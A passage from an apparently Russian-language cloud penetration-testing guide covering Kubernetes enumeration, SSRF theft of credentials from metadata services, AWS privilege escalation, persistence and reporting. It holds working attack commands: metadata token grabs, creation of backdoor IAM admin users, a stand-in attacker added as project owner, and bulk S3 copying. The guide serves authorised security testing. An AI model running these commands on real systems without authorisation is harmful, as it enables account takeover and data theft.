Избыточные IAM-права функции — функция с правами `iam:*` или `s3:*` позволяет атакующему, получившему выполнение кода, эскалировать до полного контроля над аккаунтом.
Инъекции через event-параметры — Lambda получает данные из API Gateway, SQS, DynamoDB. Если функция не валидирует входные данные — возможны инъекции, SSRF, обход логики.
Пентест Kubernetes в облаке (EKS, AKS, GKE)
bash
<h2 id="poluchenie-kubeconfig-dlya-upravlyaemogo-kubernetes">Получение kubeconfig для управляемого Kubernetes</h2>
<h2 id="aws-eks">AWS EKS</h2>
aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1 --profile pentest-target
<h2 id="azure-aks">Azure AKS</h2>
az aks get-credentials --resource-group RG_NAME --name CLUSTER_NAME
<h2 id="gcp-gke">GCP GKE</h2>
gcloud container clusters get-credentials CLUSTER_NAME --region REGION
<h2 id="posle-polucheniya-dostupa-perechislenie-klastera">После получения доступа — перечисление кластера</h2>
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get serviceaccounts --all-namespaces
<h2 id="proverka-rbac-privyazok-kto-imeet-prava-cluster-admin">Проверка RBAC-привязок (кто имеет права cluster-admin?)</h2>
kubectl get clusterrolebindings -o json | python3 -c "
import json, sys
crbs = json.load(sys.stdin)['items']
for crb in crbs:
if 'cluster-admin' in crb['roleRef']['name']:
for sub in crb.get('subjects', []):
print(f'cluster-admin: {sub}')
"
<h2 id="proverka-vozmozhnosti-exec-v-pod-kriticheskiy-risk">Проверка возможности exec в pod (критический риск)</h2>
kubectl auth can-i exec pods --all-namespaces
<h2 id="poisk-secrets-v-otkrytom-tekste-base64-ne-shifrovanie">Поиск secrets в открытом тексте (base64 — не шифрование!)</h2>
kubectl get secret SECRET_NAME -o json | \
python3 -c "import json,sys,base64; s=json.load(sys.stdin); \
[print(k,base64.b64decode(v).decode()) for k,v in s['data'].items()]"
Инструмент Trivy: аудит безопасности контейнеров и Kubernetes
bash
<h2 id="ustanovka-trivy">Установка Trivy</h2>
sudo apt install trivy
<h2 id="skanirovanie-obraza-konteynera-na-uyazvimosti">Сканирование образа контейнера на уязвимости</h2>
trivy image nginx:latest
<h2 id="audit-kubernetes-klastera-misconfigurations">Аудит Kubernetes-кластера (misconfigurations)</h2>
trivy k8s --report summary cluster
<h2 id="skanirovanie-konkretnogo-namespace">Сканирование конкретного namespace</h2>
trivy k8s --report all namespace default
<h2 id="skanirovanie-konfiguratsionnyh-faylov-iac">Сканирование конфигурационных файлов (IaC)</h2>
trivy config ./terraform/
trivy config ./kubernetes-manifests/
> *⚠️ В контейнерных средах особое внимание уделяйте возможности побега из контейнера (container escape): privileged-режим, монтирование host-директорий, доступ к Docker socket, CAP_SYS_ADMIN. Каждое из этих условий потенциально даёт полный доступ к хост-системе.*
9. Атаки на метаданные и SSRF в облаке
Сервис метаданных облачного инстанса (Instance Metadata Service, IMDS) — одна из наиболее атакуемых поверхностей в облаке. Через него работающий на EC2 или VM код получает информацию о себе, включая временные учётные данные IAM-роли. Атака через SSRF (Server-Side Request Forgery), направленная на endpoint метаданных, позволяет украсть эти credentials и получить все права назначенной инстансу роли.
Как работает атака на IMDS через SSRF
Классический сценарий: веб-приложение, запущенное на EC2, имеет SSRF-уязвимость. Атакующий отправляет запрос, заставляющий сервер обратиться к сервису метаданных:
text
<h2 id="endpoint-metadannyh-aws-dostupen-tolko-s-samogo-instansa">Endpoint метаданных AWS (доступен только с самого инстанса)</h2>
http://169.254.169.254/latest/meta-data/
<h2 id="cherez-ssrf-uyazvimost-v-prilozhenii">Через SSRF-уязвимость в приложении:</h2>
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Ответ содержит список IAM-ролей, назначенных инстансу. Следующий запрос за временными credentials:
bash
<h2 id="poluchenie-vremennyh-klyuchey-dostupa-cherez-imds-imitatsiya-s-samogo-instansa">Получение временных ключей доступа через IMDS (имитация с самого инстанса)</h2>
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
<h2 id="otvet-soderzhit">Ответ содержит:</h2>
<h2 id="accesskeyid-asia">AccessKeyId: ASIA...</h2>
<h2 id="secretaccesskey">SecretAccessKey: ...</h2>
<h2 id="token">Token: ...</h2>
<h2 id="expiration-2026-xx-xx">Expiration: 2026-XX-XX</h2>
<h2 id="ispolzovanie-ukradennyh-credentials">Использование украденных credentials</h2>
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
IMDSv2: защита и проверка её наличия
IMDSv2 (Instance Metadata Service v2) требует предварительного получения сессионного токена через PUT-запрос — это нейтрализует атаки через SSRF, которые обычно не могут выполнять PUT:
bash
<h2 id="proverka-versii-imds-s-samogo-instansa-ili-cherez-api">Проверка версии IMDS (с самого инстанса или через API)</h2>
aws ec2 describe-instances --profile pentest-target \
--query "Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]" \
--output table
<h2 id="httptokens-optional-imdsv1-aktiven-uyazvimo-k-ssrf">HttpTokens = "optional" → IMDSv1 активен (уязвимо к SSRF)</h2>
<h2 id="httptokens-required-tolko-imdsv2-zaschischeno">HttpTokens = "required" → только IMDSv2 (защищено)</h2>
<h2 id="proverit-na-urovne-akkaunta-po-umolchaniyu-dolzhen-byt-required">Проверить на уровне аккаунта (по умолчанию должен быть required)</h2>
aws ec2 get-instance-metadata-defaults --profile pentest-target
Metadata-endpoint в Azure и GCP
Azure Instance Metadata Service (IMDS):
bash
<h2 id="azure-imds-endpoint-dostupen-tolko-s-vm">Azure IMDS endpoint (доступен только с VM)</h2>
http://169.254.169.254/metadata/instance?api-version=2021-02-01
<h2 id="zagolovok-metadata-true-obyazatelen-chastichnaya-zaschita-ot-ssrf">Заголовок: Metadata: true — обязателен (частичная защита от SSRF)</h2>
<h2 id="poluchenie-managed-identity-token-cherez-imds">Получение managed identity token через IMDS</h2>
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"
GCP Instance Metadata:
bash
<h2 id="gcp-metadata-server-dostupen-tolko-s-instansa">GCP metadata server (доступен только с инстанса)</h2>
http://metadata.google.internal/computeMetadata/v1/
<h2 id="zagolovok-metadata-flavor-google-obyazatelen">Заголовок: Metadata-Flavor: Google — обязателен</h2>
<h2 id="service-account-token-cherez-gcp-metadata">Service Account токен через GCP metadata</h2>
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
Инструмент CloudFox: автоматизированный поиск credentials и путей атаки
bash
<h2 id="ustanovka-cloudfox">Установка CloudFox</h2>
wget https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip
unzip cloudfox-linux-amd64.zip
<h2 id="poisk-vseh-endpoint-soderzhaschih-credentials">Поиск всех endpoint, содержащих credentials</h2>
./cloudfox aws --profile pentest-target all-checks
<h2 id="konkretnyy-poisk-ssrf-uyazvimyh-servisov">Конкретный поиск SSRF-уязвимых сервисов</h2>
./cloudfox aws --profile pentest-target endpoints
<h2 id="poisk-secrets-v-oblachnyh-servisah">Поиск secrets в облачных сервисах</h2>
./cloudfox aws --profile pentest-target secrets
> *⚠️ SSRF-атаки на IMDS — один из самых критичных векторов в облаке. Наличие EC2 с IMDSv1 (HttpTokens=optional) и SSRF-уязвимостью в работающем приложении автоматически означает полный компромисс всех прав IAM-роли этого инстанса. Проверяйте это в первую очередь.*
10. Пентест Yandex Cloud и отечественных платформ
Yandex Cloud занимает лидирующую позицию на российском рынке облачных платформ, особенно после 2022 года. Методология пентеста аналогична AWS/Azure/GCP, но с рядом специфических особенностей в именовании сервисов, инструментах и доступных API. Знание этой специфики существенно ускоряет работу.
Настройка Yandex Cloud CLI для пентеста
bash
<h2 id="ustanovka-yandex-cloud-cli-yc">Установка Yandex Cloud CLI (yc)</h2>
curl -sSL https://storage.yandexcloud.net/yandexcloud-yc/install.sh | bash
<h2 id="initsializatsiya-i-autentifikatsiya">Инициализация и аутентификация</h2>
yc init
<h2 id="sledovat-instruktsiyam-oauth-token-vybor-oblaka-i-kataloga">Следовать инструкциям: OAuth токен, выбор облака и каталога</h2>
<h2 id="ili-autentifikatsiya-cherez-servisnyy-akkaunt-dlya-avtomatizatsii">Или аутентификация через сервисный аккаунт (для автоматизации)</h2>
yc config set service-account-key sa-key.json
<h2 id="proverka-tekuschey-autentifikatsii">Проверка текущей аутентификации</h2>
yc iam whoami
Перечисление ресурсов Yandex Cloud
bash
<h2 id="spisok-oblakov-dostupnyh-akkauntu">Список облаков, доступных аккаунту</h2>
yc resource-manager cloud list
<h2 id="spisok-katalogov-analog-proektov-v-gcp">Список каталогов (аналог проектов в GCP)</h2>
yc resource-manager folder list
<h2 id="virtualnye-mashiny">Виртуальные машины</h2>
yc compute instance list --folder-id FOLDER_ID
<h2 id="object-storage-analog-s3">Object Storage (аналог S3)</h2>
yc storage bucket list --folder-id FOLDER_ID
<h2 id="managed-servisy-baz-dannyh">Managed сервисы баз данных</h2>
yc managed-postgresql cluster list --folder-id FOLDER_ID
yc managed-mysql cluster list --folder-id FOLDER_ID
yc managed-clickhouse cluster list --folder-id FOLDER_ID
<h2 id="cloud-functions-serverless">Cloud Functions (serverless)</h2>
yc serverless function list --folder-id FOLDER_ID
<h2 id="container-registry">Container Registry</h2>
yc container registry list --folder-id FOLDER_ID
<h2 id="api-gateway">API Gateway</h2>
yc serverless api-gateway list --folder-id FOLDER_ID
<h2 id="servisnye-akkaunty-analog-iam-roles-service-accounts">Сервисные аккаунты (аналог IAM roles/service accounts)</h2>
yc iam service-account list --folder-id FOLDER_ID
Аудит IAM в Yandex Cloud
bash
<h2 id="privyazki-roley-na-urovne-oblaka">Привязки ролей на уровне облака</h2>
yc resource-manager cloud list-access-bindings --id CLOUD_ID
<h2 id="privyazki-roley-na-urovne-kataloga">Привязки ролей на уровне каталога</h2>
yc resource-manager folder list-access-bindings --id FOLDER_ID
<h2 id="roli-servisnogo-akkaunta">Роли сервисного аккаунта</h2>
yc iam service-account list-access-bindings --id SA_ID
<h2 id="klyuchi-dostupa-servisnogo-akkaunta-api-klyuchi-staticheskie-klyuchi">Ключи доступа сервисного аккаунта (API-ключи, статические ключи)</h2>
yc iam access-key list --service-account-id SA_ID
yc iam api-key list --service-account-id SA_ID
<h2 id="avtorizovannye-klyuchi-dolgosrochnye">Авторизованные ключи (долгосрочные)</h2>
yc iam key list --service-account-id SA_ID
Аудит Object Storage Yandex Cloud
bash
<h2 id="posle-nastroyki-s3cmd-ili-aws-cli-dlya-yandex-cloud">После настройки s3cmd или AWS CLI для Yandex Cloud</h2>
<h2 id="nastroyka-aws-cli-dlya-yc-object-storage">Настройка AWS CLI для YC Object Storage</h2>
aws configure --profile yc
<h2 id="aws-access-key-id-static-access-key-id-iz-yc-iam">AWS Access Key ID: [static access key ID из YC IAM]</h2>
<h2 id="aws-secret-access-key-secret-key">AWS Secret Access Key: [secret key]</h2>
<h2 id="default-region-ru-central1">Default region: ru-central1</h2>
<h2 id="spisok-buckets">Список buckets</h2>
aws s3 ls --profile yc --endpoint-url https://storage.yandexcloud.net
<h2 id="proverka-publichnogo-dostupa">Проверка публичного доступа</h2>
aws s3api get-bucket-acl \
--bucket BUCKET_NAME \
--profile yc \
--endpoint-url https://storage.yandexcloud.net
<h2 id="popytka-dostupa-bez-autentifikatsii">Попытка доступа без аутентификации</h2>
curl https://storage.yandexcloud.net/BUCKET_NAME/
curl https://BUCKET_NAME.storage.yandexcloud.net/
ScoutSuite для Yandex Cloud
ScoutSuite поддерживает Yandex Cloud начиная с версии 5.13:
bash
<h2 id="pentest-yandex-cloud-cherez-scoutsuite">Пентест Yandex Cloud через ScoutSuite</h2>
scout yandexcloud \
--folder-id FOLDER_ID \
--access-key-id ACCESS_KEY \
--secret-access-key SECRET_KEY \
--report-dir ./yc-scoutsuite-report
Специфические риски Yandex Cloud
Metadata endpoint YC — аналогично AWS, все виртуальные машины Yandex Cloud имеют доступ к сервису метаданных. Endpoint: `http://169.254.169.254/computeMetadata/v1/` (аналог GCP, требует заголовок `Metadata-Flavor: Google`).
Токены IAM через metadata — сервисный аккаунт, привязанный к VM, отдаёт временный IAM-токен через metadata. При наличии SSRF это даёт полный доступ в рамках прав сервисного аккаунта:
bash
curl http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token \
-H "Metadata-Flavor: Google"
> *💡 VK Cloud (ранее Mail.ru Cloud Solutions) — второй по распространённости российский облачный провайдер. API совместим с OpenStack, для пентеста используются инструменты OpenStack CLI: `openstack server list`, `openstack security group list`, `openstack object store list`.*
11. Продвинутые техники: lateral movement, privilege escalation, persistence
После получения первоначального доступа к облачному ресурсу задача атакующего — расширить присутствие, эскалировать привилегии и закрепиться. Эти техники имитируют поведение реального APT-атакующего и позволяют оценить глубину возможного ущерба.
Privilege Escalation в AWS: ключевые пути
Pacu — специализированный фреймворк для эксплуатации AWS, аналог Metasploit для облака:
bash
<h2 id="ustanovka-pacu">Установка Pacu</h2>
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip install -r requirements.txt
python3 pacu.py
<h2 id="v-konsoli-pacu">В консоли Pacu:</h2>
set_keys # Добавить скомпрометированные credentials
<h2 id="razvedka-tekuschih-prav">Разведка текущих прав</h2>
run iam__bruteforce_permissions
<h2 id="avtomaticheskiy-poisk-putey-privilege-escalation">Автоматический поиск путей privilege escalation</h2>
run iam__privesc_scan
<h2 id="perechislenie-vseh-resursov-akkaunta">Перечисление всех ресурсов аккаунта</h2>
run aws__enum_account
Типичные пути эскалации привилегий в AWS:
| Исходные права | Техника эскалации | Результат |
|---|---|---|
| iam:CreatePolicyVersion | Создать новую версию политики с `*:*` | AdministratorAccess |
| iam:PassRole + ec2:RunInstances | Запустить EC2 с admin-ролью, получить credentials через metadata | Admin |
| lambda:CreateFunction + iam:PassRole | Создать Lambda с admin-ролью, выполнить код | Admin |
| iam:CreateAccessKey | Создать ключ для существующего admin-пользователя | Admin |
| sts:AssumeRole | Принять роль с более широкими правами | Зависит от роли |
Lateral Movement в Azure
bash
<h2 id="poluchenie-tokena-dlya-drugogo-resursa-s-pomoschyu-managed-identity">Получение токена для другого ресурса с помощью Managed Identity</h2>
<h2 id="esli-tekuschiy-resurs-imeet-managed-identity-s-nuzhnymi-pravami">(если текущий ресурс имеет Managed Identity с нужными правами)</h2>
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"
<h2 id="ispolzovanie-tokena-dlya-dostupa-k-drugim-resursam">Использование токена для доступа к другим ресурсам</h2>
az account get-access-token --resource https://management.azure.com
<h2 id="roadtools-razvedka-azure-ad-dlya-lateral-movement">ROADtools — разведка Azure AD для lateral movement</h2>
roadrecon gather -u user@domain.com -p PASSWORD
roadrecon gui # Веб-интерфейс: http://localhost:5000
<h2 id="poisk-service-principals-s-sekretami-credential-harvesting">Поиск Service Principals с секретами (credential harvesting)</h2>
az ad sp list --all --query "[?passwordCredentials[0].endDate > '2026-01-01'].{Name:displayName,AppId:appId}" \
--output table
Persistence в облаке: техники закрепления
Эти техники используются при симуляции APT для демонстрации глубины компрометации:
bash
<h2 id="aws-sozdanie-backdoor-polzovatelya-iam-tolko-s-pismennogo-razresheniya">AWS: создание backdoor-пользователя IAM (только с письменного разрешения!)</h2>
aws iam create-user --user-name backdoor-test --profile pentest-target
aws iam attach-user-policy \
--user-name backdoor-test \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--profile pentest-target
<h2 id="aws-sozdanie-skrytogo-access-key-dlya-suschestvuyuschego-polzovatelya">AWS: создание скрытого access key для существующего пользователя</h2>
aws iam create-access-key --user-name TARGET_USER --profile pentest-target
<h2 id="gcp-dobavlenie-dopolnitelnogo-owner-na-urovne-proekta">GCP: добавление дополнительного owner на уровне проекта</h2>
gcloud projects add-iam-policy-binding $PROJECT_ID \
--member="user:attacker@example.com" --role="roles/owner"
<h2 id="vazhno-vse-sozdannye-v-hode-pentesta-backdoor-obekty">Важно: все созданные в ходе пентеста backdoor-объекты</h2>
<h2 id="dolzhny-byt-nemedlenno-zadokumentirovany-i-udaleny-v-kontse-testa">должны быть немедленно задокументированы и удалены в конце теста</h2>Exfiltration: демонстрация возможности утечки данных
bash
<h2 id="chtenie-soderzhimogo-s3-pokazyvaet-vozmozhnost-krazhi-dannyh">Чтение содержимого S3 (показывает возможность кражи данных)</h2>
aws s3 cp s3://sensitive-bucket/ ./exfil/ --recursive --profile pentest-target
<h2 id="sozdanie-snapshota-rds-i-sharing-s-vneshnim-akkauntom">Создание снапшота RDS и шаринг с внешним аккаунтом</h2>
<h2 id="dlya-demonstratsii-vozmozhnosti-bez-realnoy-peredachi-dannyh">(для демонстрации возможности без реальной передачи данных)</h2>
aws rds describe-db-instances --profile pentest-target \
--query "DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]"
> *✅ При проведении Assumed Breach тестирования всегда обсудите с заказчиком «стоп-сигнал» — конкретные действия, при которых тест должен быть немедленно остановлен (например, при попадании в production-системы за пределами scope). Фиксируйте каждое деструктивное действие в реальном времени.*
12. Документирование и составление отчёта о пентесте облака
Качество отчёта определяет практическую ценность всего пентеста. Технически блестящее тестирование, завершившееся нечитаемым документом, не приносит пользы заказчику. Хороший отчёт о пентесте облака отвечает на три вопроса: что найдено, почему это критично для бизнеса и как это исправить.
Структура отчёта о пентесте облака
1
. EXECUTIVE SUMMARY (1–2 страницы)
├── Краткое описание объекта тестирования
├── Общее резюме рисков (Critical/High/Medium/Low count)
├── Топ-3 наиболее критичные находки
└── Общий вывод о защищённости инфраструктуры
2. METHODOLOGY (1 страница)
├── Тип тестирования (black/grey/white box)
├── Период проведения
├── Используемые инструменты и методологии
└── Ограничения (что не проверялось и почему)
3. FINDINGS (основная часть)
└── Каждая находка по шаблону (см. ниже)
4. APPENDIX
├── Полные логи и скриншоты
├── Хеши артефактов (SHA-256)
└── Конфигурации использованных инструментов
Шаблон документирования уязвимости
vuln
-001: Публично открытый S3 bucket с конфиденциальными данными
Критичность: CRITICAL (CVSS 9.8)
Сервис: AWS S3
Bucket: company-backups-prod
Описание:
Bucket company-backups-prod доступен для чтения без аутентификации.
В bucket обнаружены резервные копии базы данных клиентов (2.3 ГБ),
содержащие персональные данные ~50 000 пользователей.
Доказательство (Proof of Concept):
$ aws s3 ls s3://company-backups-prod --no-sign-request
$ aws s3 cp s3://company-backups-prod/backup_2026.sql.gz . --no-sign-request
Воздействие на бизнес:
Любой пользователь интернета может скачать полный дамп базы данных клиентов.
Нарушение требований 152-ФЗ (утечка персональных данных).
Потенциальный штраф Роскомнадзора. Репутационный ущерб.
Рекомендации по устранению:
1. Немедленно: включить Block Public Access на уровне bucket
aws s3api put-public-access-block --bucket company-backups-prod
--public-access-block-configuration '{"BlockPublicAcls":true,...}'
2. Краткосрочно: перенести bucket за VPC endpoint
3. Долгосрочно: внедрить AWS Macie для автоматического обнаружения
чувствительных данных в S3
Дата обнаружения: 2026-02-15 14:32 UTC
Артефакты: screenshots/vuln001_s3_listing.png (SHA-256: a3f5...)
Классификация уязвимостей по критичности
| Критичность | CVSS | Пример | Срок устранения |
|---|---|---|---|
| Critical | 9.0–10.0 | Публичный bucket с PD, admin-доступ без MFA | 24–48 часов |
| High | 7.0–8.9 | SSH открыт в интернет, wildcard IAM политика | До 1 недели |
| Medium | 4.0–6.9 | IMDSv1 включён, логирование отключено | До 1 месяца |
| Low | 0.1–3.9 | Устаревшие ключи доступа, отсутствие тегов | До квартала |
| Informational | N/A | Best practice рекомендации | По плану |
Хеширование артефактов доказательной базы
bash
<h2 id="sha-256-heshi-vseh-skrinshotov-i-artefaktov">SHA-256 хеши всех скриншотов и артефактов</h2>
find ./pentest-artifacts/ -type f -exec sha256sum {} \; > artifacts_hashes.txt
<h2 id="verifikatsiya-tselostnosti">Верификация целостности</h2>
sha256sum -c artifacts_hashes.txt
> *💡 Отчёт должен содержать два уровня: технический (для команды безопасности) и бизнесовый (для руководства). Бизнесовый уровень переводит техническую уязвимость в язык рисков для бизнеса: финансовые потери, нарушение регуляторных требований, репутационный ущерб.*
13. Типичные уязвимости и ошибки конфигурации облаков 2026
Облачные уязвимости имеют устойчивый паттерн: одни и те же ошибки конфигурации воспроизводятся снова и снова в разных компаниях и на разных провайдерах. Понимание этих паттернов позволяет пентестеру быстро находить наиболее вероятные точки входа, а защитнику — выстроить приоритеты устранения.
Топ-10 ошибок конфигурации облаков
1. Публично открытые хранилища данных — S3 buckets, Azure Blob containers, GCP Cloud Storage buckets без ограничений доступа. По статистике Wiz, в каждой третьей исследованной облачной среде обнаруживался хотя бы один публично открытый bucket с чувствительными данными.
2. Wildcard IAM-политики — `"Action": "*"` или `"Resource": "*"` нарушают принцип наименьших привилегий и дают атакующему с компрометированными credentials неограниченный доступ к сервисам.
3. Секреты в переменных окружения — API-ключи, пароли баз данных и токены в Environment Variables Lambda/Functions вместо Secrets Manager/Key Vault. Эти секреты видны любому, кто может вызвать `get-function-configuration`.
4. IMDSv1 на EC2-инстансах — отсутствие обязательного IMDSv2 делает любую SSRF-уязвимость в приложении автоматически критической.
5. SSH и RDP открыты в интернет через Security Groups — инстансы с 0.0.0.0/0 на порты 22 и 3389 напрямую доступны атакующим, брутфорс и эксплуатация уязвимостей в SSH/RDP-клиентах.
6. Отсутствие шифрования данных в покое — EBS тома, RDS инстансы и S3 buckets без включённого шифрования. При получении физического доступа к снапшотам (через неправильно настроенный шаринг) данные читаемы напрямую.
7. Kubernetes API доступен из интернета — managed Kubernetes с публично доступным control plane API (порт 6443) позволяет атаку на административный интерфейс кластера.
8. Отсутствие CloudTrail/Audit Logging — без включённого аудит-логирования атакующий может действовать без следов. Отсутствие логов — это также нарушение compliance-требований.
9. Overly permissive Cross-Account Trust — роли, доверяющие всем аккаунтам AWS (`"Principal": {"AWS": "*"}`), могут быть приняты любым аккаунтом в экосистеме, включая аккаунт атакующего.
10. Secrets в Terraform state файлах — terraform.tfstate часто содержит секреты в plaintext и хранится в S3 bucket без должной защиты. Доступ к state файлу — это доступ ко всем секретам инфраструктуры.
> *⚠️ Проверяйте Terraform state файлы в S3 buckets — это частый «золотой самородок» облачного пентеста. Команда: `aws s3 cp s3://company-terraform-state/terraform.tfstate . --profile pentest-target` и `grep -E "(password|secret|key|token)" terraform.tfstate`*
14. FAQ: 12 горячих вопросов о пентесте облачной инфраструктуры
Q 01 Нужно ли уведомлять облачного провайдера перед пентестом?
A Зависит от провайдера. AWS позволяет тестировать собственные ресурсы без уведомления для большинства сервисов. Azure рекомендует уведомление через форму Penetration Testing Notification. Yandex Cloud разрешает тестирование собственных ресурсов. В любом случае читайте актуальные правила на сайте конкретного провайдера — они меняются. Тестирование инфраструктуры самого провайдера категорически запрещено у всех.
Q 02 Чем облачный пентест отличается от классического по стоимости и времени?
A Облачный пентест обычно длиннее и дороже классического при одинаковом масштабе инфраструктуры. Причины: необходимость глубокого знания IAM-модели каждого провайдера, большее количество сервисов для проверки, необходимость ручного анализа политик в дополнение к автоматизации. Базовый аудит облачного окружения среднего размера занимает 5–10 рабочих дней.
Q 03 Что делать, если в ходе пентеста обнаружена активная атака на инфраструктуру?
A Немедленно остановить пентест в затронутой части инфраструктуры. Сообщить заказчику о обнаружении. Не предпринимать действий по нейтрализации атаки без явного запроса — это выходит за рамки пентеста. Сохранить артефакты обнаружения (логи, IP-адреса, временны́е метки) для передачи команде IR.
Q 04 Как тестировать многооблачную среду (AWS + Azure + Yandex)?
A Каждое облако тестируется по собственной методологии, но особое внимание уделяйте местам стыков: identity federation между облаками, cross-cloud сетевые соединения (VPN, DirectConnect), данные, реплицируемые между провайдерами. ScoutSuite поддерживает несколько провайдеров одновременно и позволяет унифицировать отчётность.
Q 05 Влияет ли пентест на производительность облачной инфраструктуры?
A Правильно проведённый пентест влияет минимально. Агрессивное сканирование портов, массовые API-запросы и нагрузочные тесты могут вызвать деградацию сервисов. Всегда согласовывайте нагрузочные тесты отдельно и проводите их в нерабочее время. Пентест IAM, политик и конфигураций — минимальная нагрузка.
Q 06 Как обнаружить, что наш облачный аккаунт уже скомпрометирован?
A Признаки компрометации в AWS: новые IAM-пользователи или ключи доступа; неожиданные API-вызовы в CloudTrail (особенно CreateUser, CreateAccessKey, RunInstances в нетипичных регионах); счёт за облако вырос неожиданно (майнинг криптовалюты); активация GuardDuty alerts. Проверка: AWS GuardDuty, Security Hub, анализ CloudTrail за последние 30 дней.
Q 07 Обязателен ли Terraform/IaC аудит при пентесте облака?
A Настоятельно рекомендуется, если в scope включён аудит инфраструктурного кода. IaC-аудит выявляет уязвимости конфигурации до деплоя — это называется Shift Left Security. Используйте Trivy (`trivy config ./terraform/`), Checkov (`checkov -d ./terraform/`), tfsec для анализа Terraform. Это быстро и часто выявляет большое количество medium/high находок.
Q 08 Как правильно хранить credentials в ходе пентеста?
A Все тестовые credentials хранятся в защищённом хранилище (HashiCorp Vault, 1Password Teams, Bitwarden) только на время пентеста. Никогда не сохранять в файлах `.env` в репозиториях, в plaintext на рабочей станции, в чатах или email. После завершения пентеста — все выданные ключи должны быть отозваны заказчиком.
Q 09 Что такое Cloud Security Posture Management (CSPM) и заменяет ли он пентест?
A CSPM (Wiz, Orca, Prisma Cloud, Microsoft Defender for Cloud) — постоянный мониторинг конфигурации облачных ресурсов на соответствие политикам безопасности. Он дополняет, но не заменяет пентест. CSPM находит известные паттерны мисконфигурации автоматически. Пентест находит сложные цепочки атак, logic flaws и бизнес-логические уязвимости, которые CSPM не может обнаружить.
Q 10 Как проверить безопасность CI/CD пайплайна в облаке?
A Аудит CI/CD (GitHub Actions, GitLab CI, Jenkins в облаке): проверить secrets в переменных CI/CD (не должны быть hardcoded); проверить права сервисных аккаунтов пайплайна (минимально необходимые); проверить возможность инъекции в pipeline через Pull Request от внешнего репозитория; проверить артефакты сборки на наличие secrets (Trufflehog, Gitleaks); проверить, можно ли добиться выполнения произвольного кода через манипуляцию pipeline.
Q 11 Нужно ли тестировать WAF и CDN перед облачным пентестом?
A Да, это важный подготовительный шаг. WAF (AWS WAF, Cloudflare, Azure Front Door) может блокировать инструменты сканирования и приводить к ложным отрицательным результатам. Перед активным тестированием согласуйте с заказчиком: проводить тест «через» WAF (реалистичный сценарий) или с добавлением IP пентестера в whitelist (для полноты охвата).
Q 12 Как часто нужно проводить пентест облака?
A Минимальные рекомендации: полный пентест облака раз в год; повторный аудит после крупных архитектурных изменений (миграция, добавление новых сервисов); автоматизированный CSPM-мониторинг непрерывно; аудит IAM-политик при каждом значимом изменении. Для организаций с высоким уровнем риска — пентест каждые 6 месяцев или при каждом крупном релизе.
15. Чек-лист: полный пентест облака от разведки до отчёта
Структурированный алгоритм проведения пентеста облачной инфраструктуры. Предназначен для серой модели тестирования (grey box) с имеющимися credentials ограниченного пользователя. Полное выполнение занимает 5–10 рабочих дней в зависимости от масштаба инфраструктуры.
Блок A: Подготовка и организация (день 1)
- [ ] Получить письменное разрешение с указанием Account ID / Subscription ID / Project ID
- [ ] Определить и зафиксировать scope: разрешённые сервисы, регионы, ограничения
- [ ] Убедиться в соответствии тестирования правилам облачного провайдера
- [ ] Настроить изолированную рабочую станцию или VM для тестирования
- [ ] Установить AWS CLI / Azure CLI / GCP SDK / yc CLI
- [ ] Настроить профили с тестовыми credentials (не смешивать с рабочими)
- [ ] Установить ScoutSuite, Prowler, CloudFox, Pacu / ROADtools / GCP Scanner
- [ ] Создать структуру директорий для артефактов расследования
Блок B: Автоматизированный аудит конфигурации (день 1–2)
- [ ] Запустить ScoutSuite для целевого провайдера
- [ ] Запустить Prowler для CIS Benchmark проверок (AWS/Azure/GCP)
- [ ] Проверить ScoutSuite-отчёт: выписать Critical и High находки
- [ ] Запустить Trufflehog против GitHub-организации заказчика
- [ ] Проверить публичные bucket через CloudEnum и GrayhatWarfare
Блок C: Разведка и перечисление (день 2)
- [ ] Определить текущий identity: `aws sts get-caller-identity` / `az account show`
- [ ] Перечислить все активные регионы и зоны
- [ ] Получить список всех VPC / vNet / VPC-сетей
- [ ] Перечислить все IAM-пользователей, роли и группы
- [ ] Перечислить все вычислительные ресурсы (EC2, VM, GCE) с публичными IP
- [ ] Перечислить все хранилища (S3, Blob, Cloud Storage)
- [ ] Перечислить все serverless-функции и API Gateway
- [ ] Перечислить все managed-сервисы баз данных
- [ ] Получить список всех Security Groups / NSG / Firewall Rules
Блок D: Аудит IAM (день 2–3)
- [ ] Проверить наличие wildcard-политик (`Action: *` или `Resource: *`)
- [ ] Проверить требование MFA для привилегированных аккаунтов
- [ ] Запустить PMapper (AWS) / ROADtools (Azure) для поиска путей эскалации
- [ ] Проверить ключи доступа старше 90 дней (неиспользуемые)
- [ ] Проверить сервисные аккаунты с ключами старше 1 года
- [ ] Проверить роли с trust policy без условий (возможность принятия чужим аккаунтом)
- [ ] Проверить наличие IAM Access Analyzer (AWS) / Azure AD Identity Protection
Блок E: Аудит хранилищ (день 3)
- [ ] Для каждого bucket: проверить Block Public Access / publicAccess setting
- [ ] Для каждого bucket: проверить политику и ACL на наличие `Principal: *`
- [ ] Попытаться получить содержимое без аутентификации (`--no-sign-request`)
- [ ] Проверить шифрование (в покое и при передаче)
- [ ] Проверить versioning и MFA Delete (защита от удаления)
- [ ] Проверить logging для всех buckets с конфиденциальными данными
- [ ] Проверить Terraform state файлы на наличие секретов
Блок F: Сетевой аудит (день 3–4)
- [ ] Найти Security Groups с 0.0.0.0/0 на порты 22, 3389, 6443, 5432, 3306
- [ ] Проверить все публичные IP на открытые порты (Nmap)
- [ ] Проверить базы данных на наличие публичного endpoint
- [ ] Визуализировать топологию VPC (CloudMapper для AWS)
